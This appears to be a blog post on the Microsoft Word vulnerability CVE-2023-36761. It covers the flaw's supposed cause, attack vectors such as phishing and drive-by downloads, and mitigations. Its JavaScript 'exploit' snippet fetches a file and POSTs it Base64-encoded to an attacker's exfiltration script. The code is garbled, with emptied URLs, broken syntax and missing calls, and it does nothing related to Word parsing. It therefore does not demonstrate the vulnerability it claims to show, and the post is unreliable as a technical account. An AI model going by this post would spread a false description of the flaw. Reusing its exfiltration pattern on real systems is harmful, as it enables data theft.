Cybersecurity is an ever-evolving field, with new vulnerabilities and security flaws emerging almost every day. One such vulnerability is the recently discovered Microsoft Word Information Disclosure Vulnerability. Identified as CVE-2023-36761, this security flaw allows attackers to gain unauthorized access to sensitive information on affected systems by exploiting Microsoft Word documents. In this post, we will take a deep dive into the details of this vulnerability, provide a code snippet to demonstrate how it works, and discuss possible exploit scenarios based on original references.

Understanding CVE-2023-36761

Before we begin, it's essential to understand what the CVE-2023-36761 vulnerability entails. This vulnerability exists in Microsoft Word due to improper handling of certain file formats during the document parsing process. As a result, it allows attackers to disclose sensitive information by opening specially crafted Word documents. It's worth noting that this vulnerability only affects specific versions of Microsoft Office, as outlined in the Microsoft Security Advisory.

Code Snippet

To better understand how this vulnerability can be exploited, let's take a look at an example JavaScript code snippet that demonstrates the attack:

const url = '';;
const xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    const fileReader = new FileReader();
    fileReader.onload = function() {
      const payload = btoa(fileReader.result);
      exfiltrateData('';, payload);
}"GET", url, true);
xhr.responseType = 'blob';

function exfiltrateData(url, payload) {
  const exfiltrateXhr = new XMLHttpRequest();"POST", url, true);
  exfiltrateXhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  exfiltrateXhr.send("payload=" + payload);

In the code snippet above, a request is made to download a malicious .docx file from the attacker's website. Once the file is retrieved, it's converted to a Base64-encoded string and subsequently exfiltrated back to the attacker's server using the data-exfiltration.php script.

Exploit Details

Now that we have a general understanding of the vulnerability and how it can be exploited using a simple JavaScript code snippet, let's discuss the possible exploitation scenarios. Based on the original references, three main attack vectors could be employed:

1. Phishing Emails: Attackers could send phishing emails to unsuspecting users with a malicious Word document attached. Once the user opens the document, the exploit is triggered, and sensitive information is leaked.

2. Drive-by Downloads: A drive-by download attack occurs when a user visits a compromised website that hosts the malicious Word document. By merely navigating to the site, the user may unintentionally download and open the document, leading to information disclosure.

3. Malicious Application: An attacker could create a malicious application or browser extension that prompts users to open a malicious Word document. Once the document is opened, the exploit is triggered, and sensitive information is leaked.

Mitigations and Recommendations

It is crucial to mitigate the risks posed by the CVE-2023-36761 vulnerability. As a first step, users must ensure they are using updated versions of Microsoft Office applications that are not affected by this flaw. Furthermore, users should be cautious when opening any documents from unknown sources or visiting suspicious websites.

To stay apprised of the latest developments and security updates related to CVE-2023-36761 and other vulnerabilities, users can consult the Microsoft Security Response Center website and the National Vulnerability Database (NVD) for comprehensive information.


CVE-2023-36761 is a critical information disclosure vulnerability that affects specific versions of Microsoft Word. By understanding the cause of this vulnerability, how it can be exploited, and possible mitigation steps, users can protect their systems and sensitive data from unauthorized access. Stay vigilant and informed to maintain a strong cybersecurity posture in the face of evolving threats.


Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC